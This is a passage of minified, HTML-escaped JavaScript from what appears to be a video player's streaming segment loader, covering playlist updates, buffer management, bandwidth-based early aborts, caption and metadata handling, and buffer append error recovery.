oldPlaylist=this.playlist_,segmentInfo=this.pendingSegment_;this.playlist_=newPlaylist,this.xhrOptions_=options,&quot;INIT&quot;===this.state&amp;&amp;(newPlaylist.syncInfo={mediaSequence:newPlaylist.mediaSequence,time:0},&quot;main&quot;===this.loaderType_&amp;&amp;this.syncController_.setDateTimeMappingForStart(newPlaylist));var oldId=null;if(oldPlaylist&amp;&amp;(oldPlaylist.id?oldId=oldPlaylist.id:oldPlaylist.uri&amp;&amp;(oldId=oldPlaylist.uri)),this.logger_(&quot;playlist update [&quot;+oldId+&quot; =&gt; &quot;+(newPlaylist.id||newPlaylist.uri)+&quot;]&quot;),this.trigger(&quot;syncinfoupdate&quot;),&quot;INIT&quot;===this.state&amp;&amp;this.couldBeginLoading_())return this.init_();if(!oldPlaylist||oldPlaylist.uri!==newPlaylist.uri)return null!==this.mediaIndex&amp;&amp;(newPlaylist.endList?this.resyncLoader():this.resetLoader()),this.currentMediaInfo_=void 0,void this.trigger(&quot;playlistupdate&quot;);var mediaSequenceDiff=newPlaylist.mediaSequence-oldPlaylist.mediaSequence;if(this.logger_(&quot;live window shift [&quot;+mediaSequenceDiff+&quot;]&quot;),null!==this.mediaIndex)if(this.mediaIndex-=mediaSequenceDiff,this.mediaIndex&lt;0)this.mediaIndex=null,this.partIndex=null;else{var segment=this.playlist_.segments[this.mediaIndex];if(this.partIndex&amp;&amp;(!segment.parts||!segment.parts.length||!segment.parts[this.partIndex])){var mediaIndex=this.mediaIndex;this.logger_(&quot;currently processing part (index &quot;+this.partIndex+&quot;) no longer exists.&quot;),this.resetLoader(),this.mediaIndex=mediaIndex}}segmentInfo&amp;&amp;(segmentInfo.mediaIndex-=mediaSequenceDiff,segmentInfo.mediaIndex&lt;0?(segmentInfo.mediaIndex=null,segmentInfo.partIndex=null):(segmentInfo.mediaIndex&gt;=0&amp;&amp;(segmentInfo.segment=newPlaylist.segments[segmentInfo.mediaIndex]),segmentInfo.partIndex&gt;=0&amp;&amp;segmentInfo.segment.parts&amp;&amp;(segmentInfo.part=segmentInfo.segment.parts[segmentInfo.partIndex]))),this.syncController_.saveExpiredSegmentInfo(oldPlaylist,newPlaylist)}},_proto.pause=function(){this.checkBufferTimeout_&amp;&amp;(window.clearTimeout(this.checkBufferTimeout_),this.checkBufferTimeout_=null)},_proto.paused=function(){return null===this.checkBufferTimeout_},_proto.resetEverything=function(done){this.ended_=!1,this.appendInitSegment_={audio:!0,video:!0},this.resetLoader(),this.remove(0,1/0,done),this.transmuxer_&amp;&amp;(this.transmuxer_.postMessage({action:&quot;clearAllMp4Captions&quot;}),this.transmuxer_.postMessage({action:&quot;reset&quot;}))},_proto.resetLoader=function(){this.fetchAtBuffer_=!1,this.resyncLoader()},_proto.resyncLoader=function(){this.transmuxer_&amp;&amp;segmentTransmuxer_reset(this.transmuxer_),this.mediaIndex=null,this.partIndex=null,this.syncPoint_=null,this.isPendingTimestampOffset_=!1,this.callQueue_=[],this.loadQueue_=[],this.metadataQueue_.id3=[],this.metadataQueue_.caption=[],this.abort(),this.transmuxer_&amp;&amp;this.transmuxer_.postMessage({action:&quot;clearParsedMp4Captions&quot;})},_proto.remove=function(start,end,done,force){if(void 0===done&amp;&amp;(done=function(){}),void 0===force&amp;&amp;(force=!1),end===1/0&amp;&amp;(end=this.duration_()),end&lt;=start)this.logger_(&quot;skipping remove because end ${end} is &lt;= start ${start}&quot;);else if(this.sourceUpdater_&amp;&amp;this.getMediaInfo_()){var removesRemaining=1,removeFinished=function(){0===--removesRemaining&amp;&amp;done()};for(var track in!force&amp;&amp;this.audioDisabled_||(removesRemaining++,this.sourceUpdater_.removeAudio(start,end,removeFinished)),(force||&quot;main&quot;===this.loaderType_)&amp;&amp;(this.gopBuffer_=function(buffer,start,end,mapping){for(var startPts=Math.ceil((start-mapping)*clock_1),endPts=Math.ceil((end-mapping)*clock_1),updatedBuffer=buffer.slice(),i=buffer.length;i--&amp;&amp;!(buffer[i].pts&lt;=endPts););if(-1===i)return updatedBuffer;for(var j=i+1;j--&amp;&amp;!(buffer[j].pts&lt;=startPts););return j=Math.max(j,0),updatedBuffer.splice(j,i-j+1),updatedBuffer}(this.gopBuffer_,start,end,this.timeMapping_),removesRemaining++,this.sourceUpdater_.removeVideo(start,end,removeFinished)),this.inbandTextTracks_)removeCuesFromTrack(start,end,this.inbandTextTracks_[track]);removeCuesFromTrack(start,end,this.segmentMetadataTrack_),removeFinished()}else this.logger_(&quot;skipping remove because no source updater or starting media info&quot;)},_proto.monitorBuffer_=function(){this.checkBufferTimeout_&amp;&amp;window.clearTimeout(this.checkBufferTimeout_),this.checkBufferTimeout_=window.setTimeout(this.monitorBufferTick_.bind(this),1)},_proto.monitorBufferTick_=function(){&quot;READY&quot;===this.state&amp;&amp;this.fillBuffer_(),this.checkBufferTimeout_&amp;&amp;window.clearTimeout(this.checkBufferTimeout_),this.checkBufferTimeout_=window.setTimeout(this.monitorBufferTick_.bind(this),500)},_proto.fillBuffer_=function(){if(!this.sourceUpdater_.updating()){var segmentInfo=this.chooseNextRequest_();segmentInfo&amp;&amp;(&quot;number&quot;==typeof segmentInfo.timestampOffset&amp;&amp;(this.isPendingTimestampOffset_=!1,this.timelineChangeController_.pendingTimelineChange({type:this.loaderType_,from:this.currentTimeline_,to:segmentInfo.timeline})),this.loadSegment_(segmentInfo))}},_proto.isEndOfStream_=function(mediaIndex,playlist,partIndex){if(void 0===mediaIndex&amp;&amp;(mediaIndex=this.mediaIndex),void 0===playlist&amp;&amp;(playlist=this.playlist_),void 0===partIndex&amp;&amp;(partIndex=this.partIndex),!playlist||!this.mediaSource_)return!1;var segment=&quot;number&quot;==typeof mediaIndex&amp;&amp;playlist.segments[mediaIndex],appendedLastSegment=mediaIndex+1===playlist.segments.length,appendedLastPart=!segment||!segment.parts||partIndex+1===segment.parts.length;return playlist.endList&amp;&amp;&quot;open&quot;===this.mediaSource_.readyState&amp;&amp;appendedLastSegment&amp;&amp;appendedLastPart},_proto.chooseNextRequest_=function(){var buffered=this.buffered_(),bufferedEnd=lastBufferedEnd(buffered)||0,bufferedTime=timeAheadOf(buffered,this.currentTime_()),preloaded=!this.hasPlayed_()&amp;&amp;bufferedTime&gt;=1,haveEnoughBuffer=bufferedTime&gt;=this.goalBufferLength_(),segments=this.playlist_.segments;if(!segments.length||preloaded||haveEnoughBuffer)return null;this.syncPoint_=this.syncPoint_||this.syncController_.getSyncPoint(this.playlist_,this.duration_(),this.currentTimeline_,this.currentTime_());var next={partIndex:null,mediaIndex:null,startOfSegment:null,playlist:this.playlist_,isSyncRequest:Boolean(!this.syncPoint_)};if(next.isSyncRequest)next.mediaIndex=function(currentTimeline,segments,targetTime){segments=segments||[];for(var timelineSegments=[],time=0,i=0;i&lt;segments.length;i++){var segment=segments[i];if(currentTimeline===segment.timeline&amp;&amp;(timelineSegments.push(i),(time+=segment.duration)&gt;targetTime))return i}return 0===timelineSegments.length?0:timelineSegments[timelineSegments.length-1]}(this.currentTimeline_,segments,bufferedEnd);else if(null!==this.mediaIndex){var segment=segments[this.mediaIndex],partIndex=&quot;number&quot;==typeof this.partIndex?this.partIndex:-1;next.startOfSegment=segment.end?segment.end:bufferedEnd,segment.parts&amp;&amp;segment.parts[partIndex+1]?(next.mediaIndex=this.mediaIndex,next.partIndex=partIndex+1):next.mediaIndex=this.mediaIndex+1}else{var _Playlist$getMediaInf=Playlist.getMediaInfoForTime({experimentalExactManifestTimings:this.experimentalExactManifestTimings,playlist:this.playlist_,currentTime:this.fetchAtBuffer_?bufferedEnd:this.currentTime_(),startingPartIndex:this.syncPoint_.partIndex,startingSegmentIndex:this.syncPoint_.segmentIndex,startTime:this.syncPoint_.time}),segmentIndex=_Playlist$getMediaInf.segmentIndex,startTime=_Playlist$getMediaInf.startTime,_partIndex=_Playlist$getMediaInf.partIndex;next.getMediaInfoForTime=this.fetchAtBuffer_?&quot;bufferedEnd &quot;+bufferedEnd:&quot;currentTime &quot;+this.currentTime_(),next.mediaIndex=segmentIndex,next.startOfSegment=startTime,next.partIndex=_partIndex}var nextSegment=segments[next.mediaIndex],nextPart=nextSegment&amp;&amp;&quot;number&quot;==typeof next.partIndex&amp;&amp;nextSegment.parts&amp;&amp;nextSegment.parts[next.partIndex];if(!nextSegment||&quot;number&quot;==typeof next.partIndex&amp;&amp;!nextPart)return null;if(&quot;number&quot;!=typeof next.partIndex&amp;&amp;nextSegment.parts&amp;&amp;(next.partIndex=0,nextPart=nextSegment.parts[0]),!bufferedTime&amp;&amp;nextPart&amp;&amp;!nextPart.independent)if(0===next.partIndex){var lastSegment=segments[next.mediaIndex-1],lastSegmentLastPart=lastSegment.parts&amp;&amp;lastSegment.parts.length&amp;&amp;lastSegment.parts[lastSegment.parts.length-1];lastSegmentLastPart&amp;&amp;lastSegmentLastPart.independent&amp;&amp;(next.mediaIndex-=1,next.partIndex=lastSegment.parts.length-1,next.independent=&quot;previous segment&quot;)}else nextSegment.parts[next.partIndex-1].independent&amp;&amp;(next.partIndex-=1,next.independent=&quot;previous part&quot;);var ended=this.mediaSource_&amp;&amp;&quot;ended&quot;===this.mediaSource_.readyState;return next.mediaIndex&gt;=segments.length-1&amp;&amp;ended&amp;&amp;!this.seeking_()?null:this.generateSegmentInfo_(next)},_proto.generateSegmentInfo_=function(options){var independent=options.independent,playlist=options.playlist,mediaIndex=options.mediaIndex,startOfSegment=options.startOfSegment,isSyncRequest=options.isSyncRequest,partIndex=options.partIndex,forceTimestampOffset=options.forceTimestampOffset,getMediaInfoForTime=options.getMediaInfoForTime,segment=playlist.segments[mediaIndex],part=&quot;number&quot;==typeof partIndex&amp;&amp;segment.parts[partIndex],segmentInfo={requestId:&quot;segment-loader-&quot;+Math.random(),uri:part&amp;&amp;part.resolvedUri||segment.resolvedUri,mediaIndex:mediaIndex,partIndex:part?partIndex:null,isSyncRequest:isSyncRequest,startOfSegment:startOfSegment,playlist:playlist,bytes:null,encryptedBytes:null,timestampOffset:null,timeline:segment.timeline,duration:part&amp;&amp;part.duration||segment.duration,segment:segment,part:part,byteLength:0,transmuxer:this.transmuxer_,getMediaInfoForTime:getMediaInfoForTime,independent:independent},overrideCheck=void 0!==forceTimestampOffset?forceTimestampOffset:this.isPendingTimestampOffset_;segmentInfo.timestampOffset=this.timestampOffsetForSegment_({segmentTimeline:segment.timeline,currentTimeline:this.currentTimeline_,startOfSegment:startOfSegment,buffered:this.buffered_(),overrideCheck:overrideCheck});var audioBufferedEnd=lastBufferedEnd(this.sourceUpdater_.audioBuffered());return&quot;number&quot;==typeof audioBufferedEnd&amp;&amp;(segmentInfo.audioAppendStart=audioBufferedEnd-this.sourceUpdater_.audioTimestampOffset()),this.sourceUpdater_.videoBuffered().length&amp;&amp;(segmentInfo.gopsToAlignWith=function(buffer,currentTime,mapping){if(null==currentTime||!buffer.length)return[];var i,currentTimePts=Math.ceil((currentTime-mapping+3)*clock_1);for(i=0;i&lt;buffer.length&amp;&amp;!(buffer[i].pts&gt;currentTimePts);i++);return buffer.slice(i)}(this.gopBuffer_,this.currentTime_()-this.sourceUpdater_.videoTimestampOffset(),this.timeMapping_)),segmentInfo},_proto.timestampOffsetForSegment_=function(options){return segmentTimeline=(_ref=options).segmentTimeline,currentTimeline=_ref.currentTimeline,startOfSegment=_ref.startOfSegment,buffered=_ref.buffered,_ref.overrideCheck||segmentTimeline!==currentTimeline?segmentTimeline&lt;currentTimeline?startOfSegment:buffered.length?buffered.end(buffered.length-1):startOfSegment:null;var _ref,segmentTimeline,currentTimeline,startOfSegment,buffered},_proto.earlyAbortWhenNeeded_=function(stats){if(!this.vhs_.tech_.paused()&amp;&amp;this.xhrOptions_.timeout&amp;&amp;this.playlist_.attributes.BANDWIDTH&amp;&amp;!(Date.now()-(stats.firstBytesReceivedAt||Date.now())&lt;1e3)){var currentTime=this.currentTime_(),measuredBandwidth=stats.bandwidth,segmentDuration=this.pendingSegment_.duration,requestTimeRemaining=Playlist.estimateSegmentRequestTime(segmentDuration,measuredBandwidth,this.playlist_,stats.bytesReceived),timeUntilRebuffer$1=function(buffered,currentTime,playbackRate){return void 0===playbackRate&amp;&amp;(playbackRate=1),((buffered.length?buffered.end(buffered.length-1):0)-currentTime)/playbackRate}(this.buffered_(),currentTime,this.vhs_.tech_.playbackRate())-1;if(!(requestTimeRemaining&lt;=timeUntilRebuffer$1)){var switchCandidate=function(settings){var master=settings.master,currentTime=settings.currentTime,bandwidth=settings.bandwidth,duration=settings.duration,segmentDuration=settings.segmentDuration,timeUntilRebuffer=settings.timeUntilRebuffer,currentTimeline=settings.currentTimeline,syncController=settings.syncController,compatiblePlaylists=master.playlists.filter((function(playlist){return!Playlist.isIncompatible(playlist)})),enabledPlaylists=compatiblePlaylists.filter(Playlist.isEnabled);enabledPlaylists.length||(enabledPlaylists=compatiblePlaylists.filter((function(playlist){return!Playlist.isDisabled(playlist)})));var rebufferingEstimates=enabledPlaylists.filter(Playlist.hasAttribute.bind(null,&quot;BANDWIDTH&quot;)).map((function(playlist){var numRequests=syncController.getSyncPoint(playlist,duration,currentTimeline,currentTime)?1:2;return{playlist:playlist,rebufferingImpact:Playlist.estimateSegmentRequestTime(segmentDuration,bandwidth,playlist)*numRequests-timeUntilRebuffer}})),noRebufferingPlaylists=rebufferingEstimates.filter((function(estimate){return estimate.rebufferingImpact&lt;=0}));return stableSort(noRebufferingPlaylists,(function(a,b){return comparePlaylistBandwidth(b.playlist,a.playlist)})),noRebufferingPlaylists.length?noRebufferingPlaylists[0]:(stableSort(rebufferingEstimates,(function(a,b){return a.rebufferingImpact-b.rebufferingImpact})),rebufferingEstimates[0]||null)}({master:this.vhs_.playlists.master,currentTime:currentTime,bandwidth:measuredBandwidth,duration:this.duration_(),segmentDuration:segmentDuration,timeUntilRebuffer:timeUntilRebuffer$1,currentTimeline:this.currentTimeline_,syncController:this.syncController_});if(switchCandidate){var timeSavedBySwitching=requestTimeRemaining-timeUntilRebuffer$1-switchCandidate.rebufferingImpact,minimumTimeSaving=.5;timeUntilRebuffer$1&lt;=.03333333333333333&amp;&amp;(minimumTimeSaving=1),!switchCandidate.playlist||switchCandidate.playlist.uri===this.playlist_.uri||timeSavedBySwitching&lt;minimumTimeSaving||(this.bandwidth=switchCandidate.playlist.attributes.BANDWIDTH*Config.BANDWIDTH_VARIANCE+1,this.trigger(&quot;earlyabort&quot;))}}}},_proto.handleAbort_=function(segmentInfo){this.logger_(&quot;Aborting &quot;+segmentInfoString(segmentInfo)),this.mediaRequestsAborted+=1},_proto.handleProgress_=function(event,simpleSegment){this.earlyAbortWhenNeeded_(simpleSegment.stats),this.checkForAbort_(simpleSegment.requestId)||this.trigger(&quot;progress&quot;)},_proto.handleTrackInfo_=function(simpleSegment,trackInfo){this.earlyAbortWhenNeeded_(simpleSegment.stats),this.checkForAbort_(simpleSegment.requestId)||this.checkForIllegalMediaSwitch(trackInfo)||(trackInfo=trackInfo||{},function(a,b){if(!a&amp;&amp;!b||!a&amp;&amp;b||a&amp;&amp;!b)return!1;if(a===b)return!0;var akeys=Object.keys(a).sort(),bkeys=Object.keys(b).sort();if(akeys.length!==bkeys.length)return!1;for(var i=0;i&lt;akeys.length;i++){var key=akeys[i];if(key!==bkeys[i])return!1;if(a[key]!==b[key])return!1}return!0}(this.currentMediaInfo_,trackInfo)||(this.appendInitSegment_={audio:!0,video:!0},this.startingMediaInfo_=trackInfo,this.currentMediaInfo_=trackInfo,this.logger_(&quot;trackinfo update&quot;,trackInfo),this.trigger(&quot;trackinfo&quot;)),this.checkForAbort_(simpleSegment.requestId)||(this.pendingSegment_.trackInfo=trackInfo,this.hasEnoughInfoToAppend_()&amp;&amp;this.processCallQueue_()))},_proto.handleTimingInfo_=function(simpleSegment,mediaType,timeType,time){if(this.earlyAbortWhenNeeded_(simpleSegment.stats),!this.checkForAbort_(simpleSegment.requestId)){var segmentInfo=this.pendingSegment_,timingInfoProperty=timingInfoPropertyForMedia(mediaType);segmentInfo[timingInfoProperty]=segmentInfo[timingInfoProperty]||{},segmentInfo[timingInfoProperty][timeType]=time,this.logger_(&quot;timinginfo: &quot;+mediaType+&quot; - &quot;+timeType+&quot; - &quot;+time),this.hasEnoughInfoToAppend_()&amp;&amp;this.processCallQueue_()}},_proto.handleCaptions_=function(simpleSegment,captionData){var _this2=this;if(this.earlyAbortWhenNeeded_(simpleSegment.stats),!this.checkForAbort_(simpleSegment.requestId))if(0!==captionData.length)if(this.pendingSegment_.hasAppendedData_){var timestampOffset=null===this.sourceUpdater_.videoTimestampOffset()?this.sourceUpdater_.audioTimestampOffset():this.sourceUpdater_.videoTimestampOffset(),captionTracks={};captionData.forEach((function(caption){captionTracks[caption.stream]=captionTracks[caption.stream]||{startTime:1/0,captions:[],endTime:0};var captionTrack=captionTracks[caption.stream];captionTrack.startTime=Math.min(captionTrack.startTime,caption.startTime+timestampOffset),captionTrack.endTime=Math.max(captionTrack.endTime,caption.endTime+timestampOffset),captionTrack.captions.push(caption)})),Object.keys(captionTracks).forEach((function(trackName){var _captionTracks$trackN=captionTracks[trackName],startTime=_captionTracks$trackN.startTime,endTime=_captionTracks$trackN.endTime,captions=_captionTracks$trackN.captions,inbandTextTracks=_this2.inbandTextTracks_;_this2.logger_(&quot;adding cues from &quot;+startTime+&quot; -&gt; &quot;+endTime+&quot; for &quot;+trackName),function(inbandTextTracks,tech,captionStream){if(!inbandTextTracks[captionStream]){tech.trigger({type:&quot;usage&quot;,name:&quot;vhs-608&quot;}),tech.trigger({type:&quot;usage&quot;,name:&quot;hls-608&quot;});var instreamId=captionStream;/^cc708_/.test(captionStream)&amp;&amp;(instreamId=&quot;SERVICE&quot;+captionStream.split(&quot;_&quot;)[1]);var track=tech.textTracks().getTrackById(instreamId);if(track)inbandTextTracks[captionStream]=track;else{var label=captionStream,language=captionStream,def=!1,captionService=(tech.options_.vhs&amp;&amp;tech.options_.vhs.captionServices||{})[instreamId];captionService&amp;&amp;(label=captionService.label,language=captionService.language,def=captionService.default),inbandTextTracks[captionStream]=tech.addRemoteTextTrack({kind:&quot;captions&quot;,id:instreamId,default:def,label:label,language:language},!1).track}}}(inbandTextTracks,_this2.vhs_.tech_,trackName),removeCuesFromTrack(startTime,endTime,inbandTextTracks[trackName]),function(_ref){var inbandTextTracks=_ref.inbandTextTracks,captionArray=_ref.captionArray,timestampOffset=_ref.timestampOffset;if(captionArray){var Cue=window.WebKitDataCue||window.VTTCue;captionArray.forEach((function(caption){var track=caption.stream;inbandTextTracks[track].addCue(new Cue(caption.startTime+timestampOffset,caption.endTime+timestampOffset,caption.text))}))}}({captionArray:captions,inbandTextTracks:inbandTextTracks,timestampOffset:timestampOffset})})),this.transmuxer_&amp;&amp;this.transmuxer_.postMessage({action:&quot;clearParsedMp4Captions&quot;})}else this.metadataQueue_.caption.push(this.handleCaptions_.bind(this,simpleSegment,captionData));else this.logger_(&quot;SegmentLoader received no captions from a caption event&quot;)},_proto.handleId3_=function(simpleSegment,id3Frames,dispatchType){if(this.earlyAbortWhenNeeded_(simpleSegment.stats),!this.checkForAbort_(simpleSegment.requestId))if(this.pendingSegment_.hasAppendedData_){var timestampOffset=null===this.sourceUpdater_.videoTimestampOffset()?this.sourceUpdater_.audioTimestampOffset():this.sourceUpdater_.videoTimestampOffset();!function(inbandTextTracks,dispatchType,tech){inbandTextTracks.metadataTrack_||(inbandTextTracks.metadataTrack_=tech.addRemoteTextTrack({kind:&quot;metadata&quot;,label:&quot;Timed Metadata&quot;},!1).track,inbandTextTracks.metadataTrack_.inBandMetadataTrackDispatchType=dispatchType)}(this.inbandTextTracks_,dispatchType,this.vhs_.tech_),addMetadata({inbandTextTracks:this.inbandTextTracks_,metadataArray:id3Frames,timestampOffset:timestampOffset,videoDuration:this.duration_()})}else this.metadataQueue_.id3.push(this.handleId3_.bind(this,simpleSegment,id3Frames,dispatchType))},_proto.processMetadataQueue_=function(){this.metadataQueue_.id3.forEach((function(fn){return fn()})),this.metadataQueue_.caption.forEach((function(fn){return fn()})),this.metadataQueue_.id3=[],this.metadataQueue_.caption=[]},_proto.processCallQueue_=function(){var callQueue=this.callQueue_;this.callQueue_=[],callQueue.forEach((function(fun){return fun()}))},_proto.processLoadQueue_=function(){var loadQueue=this.loadQueue_;this.loadQueue_=[],loadQueue.forEach((function(fun){return fun()}))},_proto.hasEnoughInfoToLoad_=function(){if(&quot;audio&quot;!==this.loaderType_)return!0;var segmentInfo=this.pendingSegment_;return!!segmentInfo&amp;&amp;(!this.getCurrentMediaInfo_()||!shouldWaitForTimelineChange({timelineChangeController:this.timelineChangeController_,currentTimeline:this.currentTimeline_,segmentTimeline:segmentInfo.timeline,loaderType:this.loaderType_,audioDisabled:this.audioDisabled_}))},_proto.getCurrentMediaInfo_=function(segmentInfo){return void 0===segmentInfo&amp;&amp;(segmentInfo=this.pendingSegment_),segmentInfo&amp;&amp;segmentInfo.trackInfo||this.currentMediaInfo_},_proto.getMediaInfo_=function(segmentInfo){return void 0===segmentInfo&amp;&amp;(segmentInfo=this.pendingSegment_),this.getCurrentMediaInfo_(segmentInfo)||this.startingMediaInfo_},_proto.hasEnoughInfoToAppend_=function(){if(!this.sourceUpdater_.ready())return!1;if(this.waitingOnRemove_||this.quotaExceededErrorRetryTimeout_)return!1;var segmentInfo=this.pendingSegment_,trackInfo=this.getCurrentMediaInfo_();if(!segmentInfo||!trackInfo)return!1;var hasAudio=trackInfo.hasAudio,hasVideo=trackInfo.hasVideo,isMuxed=trackInfo.isMuxed;return!(hasVideo&amp;&amp;!segmentInfo.videoTimingInfo)&amp;&amp;(!(hasAudio&amp;&amp;!this.audioDisabled_&amp;&amp;!isMuxed&amp;&amp;!segmentInfo.audioTimingInfo)&amp;&amp;!shouldWaitForTimelineChange({timelineChangeController:this.timelineChangeController_,currentTimeline:this.currentTimeline_,segmentTimeline:segmentInfo.timeline,loaderType:this.loaderType_,audioDisabled:this.audioDisabled_}))},_proto.handleData_=function(simpleSegment,result){if(this.earlyAbortWhenNeeded_(simpleSegment.stats),!this.checkForAbort_(simpleSegment.requestId))if(!this.callQueue_.length&amp;&amp;this.hasEnoughInfoToAppend_()){var segmentInfo=this.pendingSegment_;if(this.setTimeMapping_(segmentInfo.timeline),this.updateMediaSecondsLoaded_(segmentInfo.part||segmentInfo.segment),&quot;closed&quot;!==this.mediaSource_.readyState){if(simpleSegment.map&amp;&amp;(simpleSegment.map=this.initSegmentForMap(simpleSegment.map,!0),segmentInfo.segment.map=simpleSegment.map),simpleSegment.key&amp;&amp;this.segmentKey(simpleSegment.key,!0),segmentInfo.isFmp4=simpleSegment.isFmp4,segmentInfo.timingInfo=segmentInfo.timingInfo||{},segmentInfo.isFmp4)this.trigger(&quot;fmp4&quot;),segmentInfo.timingInfo.start=segmentInfo[timingInfoPropertyForMedia(result.type)].start;else{var firstVideoFrameTimeForData,trackInfo=this.getCurrentMediaInfo_(),useVideoTimingInfo=&quot;main&quot;===this.loaderType_&amp;&amp;trackInfo&amp;&amp;trackInfo.hasVideo;useVideoTimingInfo&amp;&amp;(firstVideoFrameTimeForData=segmentInfo.videoTimingInfo.start),segmentInfo.timingInfo.start=this.trueSegmentStart_({currentStart:segmentInfo.timingInfo.start,playlist:segmentInfo.playlist,mediaIndex:segmentInfo.mediaIndex,currentVideoTimestampOffset:this.sourceUpdater_.videoTimestampOffset(),useVideoTimingInfo:useVideoTimingInfo,firstVideoFrameTimeForData:firstVideoFrameTimeForData,videoTimingInfo:segmentInfo.videoTimingInfo,audioTimingInfo:segmentInfo.audioTimingInfo})}if(this.updateAppendInitSegmentStatus(segmentInfo,result.type),this.updateSourceBufferTimestampOffset_(segmentInfo),segmentInfo.isSyncRequest){this.updateTimingInfoEnd_(segmentInfo),this.syncController_.saveSegmentTimingInfo({segmentInfo:segmentInfo,shouldSaveTimelineMapping:&quot;main&quot;===this.loaderType_});var next=this.chooseNextRequest_();if(next.mediaIndex!==segmentInfo.mediaIndex||next.partIndex!==segmentInfo.partIndex)return void this.logger_(&quot;sync segment was incorrect, not appending&quot;);this.logger_(&quot;sync segment was correct, appending&quot;)}segmentInfo.hasAppendedData_=!0,this.processMetadataQueue_(),this.appendData_(segmentInfo,result)}}else this.callQueue_.push(this.handleData_.bind(this,simpleSegment,result))},_proto.updateAppendInitSegmentStatus=function(segmentInfo,type){&quot;main&quot;!==this.loaderType_||&quot;number&quot;!=typeof segmentInfo.timestampOffset||segmentInfo.changedTimestampOffset||(this.appendInitSegment_={audio:!0,video:!0}),this.playlistOfLastInitSegment_[type]!==segmentInfo.playlist&amp;&amp;(this.appendInitSegment_[type]=!0)},_proto.getInitSegmentAndUpdateState_=function(_ref4){var type=_ref4.type,initSegment=_ref4.initSegment,map=_ref4.map,playlist=_ref4.playlist;if(map){var id=initSegmentId(map);if(this.activeInitSegmentId_===id)return null;initSegment=this.initSegmentForMap(map,!0).bytes,this.activeInitSegmentId_=id}return initSegment&amp;&amp;this.appendInitSegment_[type]?(this.playlistOfLastInitSegment_[type]=playlist,this.appendInitSegment_[type]=!1,this.activeInitSegmentId_=null,initSegment):null},_proto.handleQuotaExceededError_=function(_ref5,error){var _this3=this,segmentInfo=_ref5.segmentInfo,type=_ref5.type,bytes=_ref5.bytes,audioBuffered=this.sourceUpdater_.audioBuffered(),videoBuffered=this.sourceUpdater_.videoBuffered();audioBuffered.length&gt;1&amp;&amp;this.logger_(&quot;On QUOTA_EXCEEDED_ERR, found gaps in the audio buffer: &quot;+timeRangesToArray(audioBuffered).join(&quot;, &quot;)),videoBuffered.length&gt;1&amp;&amp;this.logger_(&quot;On QUOTA_EXCEEDED_ERR, found gaps in the video buffer: &quot;+timeRangesToArray(videoBuffered).join(&quot;, &quot;));var audioBufferStart=audioBuffered.length?audioBuffered.start(0):0,audioBufferEnd=audioBuffered.length?audioBuffered.end(audioBuffered.length-1):0,videoBufferStart=videoBuffered.length?videoBuffered.start(0):0,videoBufferEnd=videoBuffered.length?videoBuffered.end(videoBuffered.length-1):0;if(audioBufferEnd-audioBufferStart&lt;=1&amp;&amp;videoBufferEnd-videoBufferStart&lt;=1)return this.logger_(&quot;On QUOTA_EXCEEDED_ERR, single segment too large to append to buffer, triggering an error. Appended byte length: &quot;+bytes.byteLength+&quot;, audio buffer: &quot;+timeRangesToArray(audioBuffered).join(&quot;, &quot;)+&quot;, video buffer: &quot;+timeRangesToArray(videoBuffered).join(&quot;, &quot;)+&quot;, &quot;),this.error({message:&quot;Quota exceeded error with append of a single segment of content&quot;,excludeUntil:1/0}),void this.trigger(&quot;error&quot;);this.waitingOnRemove_=!0,this.callQueue_.push(this.appendToSourceBuffer_.bind(this,{segmentInfo:segmentInfo,type:type,bytes:bytes}));var timeToRemoveUntil=this.currentTime_()-1;this.logger_(&quot;On QUOTA_EXCEEDED_ERR, removing audio/video from 0 to &quot;+timeToRemoveUntil),this.remove(0,timeToRemoveUntil,(function(){_this3.logger_(&quot;On QUOTA_EXCEEDED_ERR, retrying append in 1s&quot;),_this3.waitingOnRemove_=!1,_this3.quotaExceededErrorRetryTimeout_=window.setTimeout((function(){_this3.logger_(&quot;On QUOTA_EXCEEDED_ERR, re-processing call queue&quot;),_this3.quotaExceededErrorRetryTimeout_=null,_this3.processCallQueue_()}),1e3)}),!0)},_proto.handleAppendError_=function(_ref6,error){var segmentInfo=_ref6.segmentInfo,type=_ref6.type,bytes=_ref6.bytes;error&amp;&amp;(22!==error.code?(this.logger_(&quot;Received non QUOTA_EXCEEDED_ERR on append&quot;,error),this.error(type+&quot; append of &quot;+bytes.length+&quot;b failed for segment #&quot;+segmentInfo.mediaIndex+&quot; in playlist &quot;+segmentInfo.playlist.id),this.trigger(&quot;appenderror&quot;)):this.handleQuotaExceededError_({segmentInfo:segmentInfo,type:type,bytes:bytes}))},_proto.appendToSourceBuffer_=function(_ref7){var segmentObj,tempBuffer,offset,segmentInfo=_ref7.segmentInfo,type=_ref7.type,initSegment=_ref7.initSegment,data=_ref7.data,bytes=_ref7.bytes;if(!bytes){var segments=[data],byteLength=data.byteLength;initSegment&amp;&amp;(segments.unshift(initSegment),byteLength+=initSegment.byteLength),offset=0,(segmentObj={bytes:byteLength,segments:segments}).bytes&amp;&amp;(tempBuffer=new Uint8Array(segmentObj.bytes),segmentObj.segments.forEach((function(segment){tempBuffer.set(segment,offset),offset+=segment.byteLength}))),bytes=tempBuffer}this.sourceUpdater_.appendBuffer({segmentInfo:segmentInfo,type:type,bytes:bytes},this.handleAppendError_.bind(this,{segmentInfo:segmentInfo,type:type,bytes:bytes}))},_proto.handleSegmentTimingInfo_=function(type,requestId,segmentTimingInfo){if(this.pendingSegment_&amp;&amp;requestId===this.pendingSegment_.requestId){var segment=this.pendingSegment_.segment,timingInfoProperty=type+&quot;TimingInfo&quot;;segment[timingInfoProperty]||(segment[timingInfoProperty]={}),segment[timingInfoProperty].transmuxerPrependedSeconds=segmentTimingInfo.prependedContentDuration||0,segment[timingInfoProperty].transmuxedPresentationStart=segmentTimingInfo.start.presentation,segment[timingInfoProperty].transmuxedDecodeStart=segmentTimingInfo.start.decode,segment[timingInfoProperty].transmuxedPresentationEnd=segmentTimingInfo.end.presentation,segment[timingInfoProperty].transmuxedDecodeEnd=segmentTimingInfo.end.decode,segment[timingInfoProperty].baseMediaDecodeTime=segmentTimingInfo.baseMediaDecodeTime}},_proto.appendData_=function(segmentInfo,result){var type=result.type,data=result.data;if(data&amp;&amp;data.byteLength&amp;&amp;(&quot;audio&quot;!==type||!this.audioDisabled_)){var 